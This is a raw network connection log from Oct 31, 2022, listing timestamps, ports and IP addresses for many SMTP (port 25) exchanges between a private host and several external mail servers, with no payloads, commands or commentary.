Oct 31, 2022 12:20:59.665683985 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:59.665699959 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:59.665714979 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:59.665731907 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:59.665746927 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:59.666018963 CET	50116	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:59.836715937 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:59.853636980 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:59.853749990 CET	50128	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:00.017811060 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.018124104 CET	50125	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:00.032375097 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.032433033 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.032454014 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.032471895 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.032488108 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.032502890 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.032517910 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.032535076 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.032552004 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.032562017 CET	50116	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:00.032634020 CET	50116	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:00.032655954 CET	50116	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:00.032778978 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.033019066 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.033036947 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.033056021 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.033071041 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.033087969 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.033104897 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.033121109 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.033137083 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.033154011 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.091731071 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.091937065 CET	50128	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:00.390428066 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.400365114 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.400788069 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.400810003 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.400823116 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.400830030 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.400837898 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.400846958 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.400923014 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.400937080 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.400949001 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.400964975 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.400995970 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.401014090 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.401034117 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.401047945 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.401057959 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.401072025 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.460550070 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.561001062 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.561249971 CET	50125	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:00.562458992 CET	50125	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:00.630724907 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.630950928 CET	50128	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:00.933801889 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.934806108 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.934834957 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.934853077 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.934870005 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.934921980 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.934937000 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.934952021 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.934983969 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.934983969 CET	50125	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:00.934983969 CET	50125	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:00.934999943 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.935098886 CET	50125	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:00.935098886 CET	50125	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:00.935098886 CET	50125	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:00.935199976 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:00.935832024 CET	50125	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:00.997339010 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.164434910 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.164690971 CET	50128	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:01.195472002 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.195607901 CET	50116	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:01.195957899 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.196228027 CET	50116	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:01.218436003 CET	50129	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:21:01.307573080 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.307657003 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.307709932 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.307792902 CET	50125	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:01.307845116 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.307849884 CET	50125	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:01.307888031 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.307965040 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.308020115 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.308053970 CET	50125	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:01.308053970 CET	50125	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:01.308064938 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.308084011 CET	50125	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:01.308106899 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.308132887 CET	50125	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:01.308150053 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.308168888 CET	50125	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:01.308192015 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.308233023 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.308270931 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.308310032 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.308351040 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.308389902 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.308430910 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.308473110 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.308512926 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.308552027 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.323381901 CET	50130	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:21:01.373171091 CET	25	50129	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:01.373353004 CET	50129	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:21:01.461637020 CET	50131	25	192.168.2.5	104.47.55.138
Oct 31, 2022 12:21:01.467309952 CET	25	50130	209.51.188.92	192.168.2.5
Oct 31, 2022 12:21:01.467428923 CET	50130	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:21:01.531095982 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.542350054 CET	25	49884	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:01.548130989 CET	49884	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:21:01.561748981 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.566854000 CET	25	50131	104.47.55.138	192.168.2.5
Oct 31, 2022 12:21:01.568424940 CET	50131	25	192.168.2.5	104.47.55.138
Oct 31, 2022 12:21:01.621516943 CET	25	50130	209.51.188.92	192.168.2.5
Oct 31, 2022 12:21:01.651190996 CET	50130	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:21:01.681119919 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.681150913 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.681164026 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.681219101 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.681376934 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.681391001 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.681402922 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.681413889 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.681426048 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.681444883 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.681488991 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.681500912 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.681690931 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.681704998 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.681718111 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.681729078 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.681740046 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.681751013 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.702980042 CET	25	49884	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:01.703011036 CET	25	49884	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:01.703356028 CET	49884	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:21:01.704210043 CET	25	50131	104.47.55.138	192.168.2.5
Oct 31, 2022 12:21:01.704523087 CET	50131	25	192.168.2.5	104.47.55.138
Oct 31, 2022 12:21:01.705064058 CET	49884	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:21:01.711539030 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.719664097 CET	50128	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:01.798085928 CET	25	50130	209.51.188.92	192.168.2.5
Oct 31, 2022 12:21:01.798547029 CET	50130	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:21:01.810115099 CET	25	50131	104.47.55.138	192.168.2.5
Oct 31, 2022 12:21:01.812517881 CET	50131	25	192.168.2.5	104.47.55.138
Oct 31, 2022 12:21:01.859740019 CET	25	49884	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:01.859775066 CET	25	49884	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:01.859793901 CET	25	49884	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:01.859870911 CET	25	49884	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:01.859996080 CET	49884	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:21:01.860060930 CET	49884	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:21:01.918483973 CET	25	50131	104.47.55.138	192.168.2.5
Oct 31, 2022 12:21:01.918801069 CET	50131	25	192.168.2.5	104.47.55.138
Oct 31, 2022 12:21:01.923729897 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:01.923969984 CET	50125	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:01.942353964 CET	25	50130	209.51.188.92	192.168.2.5
Oct 31, 2022 12:21:01.942697048 CET	50130	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:21:02.014759064 CET	25	49884	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:02.014794111 CET	25	49884	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:02.014806986 CET	25	49884	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:02.014817953 CET	25	49884	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:02.014830112 CET	25	49884	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:02.014930010 CET	25	49884	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:02.014991045 CET	49884	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:21:02.024966002 CET	25	50131	104.47.55.138	192.168.2.5
Oct 31, 2022 12:21:02.025276899 CET	50131	25	192.168.2.5	104.47.55.138
Oct 31, 2022 12:21:02.086023092 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.128870964 CET	25	50130	209.51.188.92	192.168.2.5
Oct 31, 2022 12:21:02.130506992 CET	25	50131	104.47.55.138	192.168.2.5
Oct 31, 2022 12:21:02.131453037 CET	25	50131	104.47.55.138	192.168.2.5
Oct 31, 2022 12:21:02.131599903 CET	50131	25	192.168.2.5	104.47.55.138
Oct 31, 2022 12:21:02.169770956 CET	25	49884	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:02.169806957 CET	25	49884	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:02.169819117 CET	25	49884	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:02.169898033 CET	25	49884	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:02.253201008 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.253566980 CET	50128	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:02.255234957 CET	50128	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:02.302009106 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.449111938 CET	25	50130	209.51.188.92	192.168.2.5
Oct 31, 2022 12:21:02.450818062 CET	50130	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:21:02.466625929 CET	25	50125	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.466816902 CET	50125	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:02.596522093 CET	25	50130	209.51.188.92	192.168.2.5
Oct 31, 2022 12:21:02.596554041 CET	25	50130	209.51.188.92	192.168.2.5
Oct 31, 2022 12:21:02.596729040 CET	50130	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:21:02.596729994 CET	50130	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:21:02.619961977 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.621613026 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.621629953 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.621640921 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.621649981 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.621656895 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.621668100 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.621680975 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.621690035 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.621696949 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.621707916 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.621840000 CET	50128	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:02.621937037 CET	50128	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:02.621973038 CET	50128	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:02.980914116 CET	25	49884	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:02.981430054 CET	49884	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:21:02.988255978 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.988284111 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.988296986 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.988310099 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.988317966 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.988325119 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.988333941 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.988344908 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.988352060 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.988360882 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.988372087 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.988379955 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.988387108 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.988394022 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.988401890 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.988409042 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.988420010 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.988430977 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.988441944 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.988452911 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:02.988460064 CET	50128	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:02.988579988 CET	50128	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:03.136467934 CET	25	49884	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:03.136729956 CET	49884	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:21:03.137233019 CET	25	49884	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:03.137322903 CET	49884	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:21:03.354859114 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:03.354913950 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:03.354927063 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:03.354938984 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:03.354952097 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:03.354964018 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:03.354974985 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:03.354985952 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:03.354996920 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:03.355007887 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:03.355020046 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:03.355031013 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:03.355041027 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:03.355051994 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:03.355062962 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:03.355073929 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:03.355086088 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:03.537375927 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:03.537765026 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:03.537946939 CET	50128	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:03.537946939 CET	50128	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:03.910299063 CET	25	50128	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:05.473294973 CET	50132	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:05.520304918 CET	50133	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:21:05.531305075 CET	50134	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:21:05.554398060 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.554968119 CET	50133	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:21:05.590203047 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.590863943 CET	50133	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:21:05.624645948 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.628066063 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.628251076 CET	50133	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:21:05.662138939 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.662360907 CET	50133	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:21:05.674849987 CET	25	50134	209.51.188.92	192.168.2.5
Oct 31, 2022 12:21:05.674952030 CET	50134	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:21:05.701491117 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.708470106 CET	50135	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:21:05.827456951 CET	25	50134	209.51.188.92	192.168.2.5
Oct 31, 2022 12:21:05.830905914 CET	50134	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:21:05.837600946 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:05.839739084 CET	50132	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:05.851161957 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.851429939 CET	50133	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:21:05.880506039 CET	25	50135	198.252.153.129	192.168.2.5
Oct 31, 2022 12:21:05.880937099 CET	50135	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:21:05.885178089 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.887485981 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.887767076 CET	50133	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:21:05.888967991 CET	50133	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:21:05.923393965 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.923413038 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.923425913 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.923437119 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.923449039 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.923485994 CET	50133	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:21:05.923602104 CET	50133	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:21:05.928275108 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.928401947 CET	50133	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:21:05.957043886 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.957065105 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.957077026 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.957086086 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.957098961 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.957114935 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.957129955 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.957142115 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.957154036 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.957221985 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.957235098 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.957247972 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.957261086 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.957268953 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.957271099 CET	50133	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:21:05.957276106 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.957293034 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.957304955 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.957313061 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.957340002 CET	50133	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:21:05.962059975 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.962081909 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.976358891 CET	25	50134	209.51.188.92	192.168.2.5
Oct 31, 2022 12:21:05.976707935 CET	50134	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:21:05.991894007 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.991915941 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.991935015 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.992208958 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.992221117 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.992232084 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.992244005 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.992255926 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.992269039 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.992281914 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.992294073 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.993154049 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.993169069 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.993180990 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.997601986 CET	25	50133	74.125.140.27	192.168.2.5
Oct 31, 2022 12:21:05.997847080 CET	50133	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:21:06.024511099 CET	50136	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:21:06.033046961 CET	25	50133	74.125.140.27	192.168.2.5
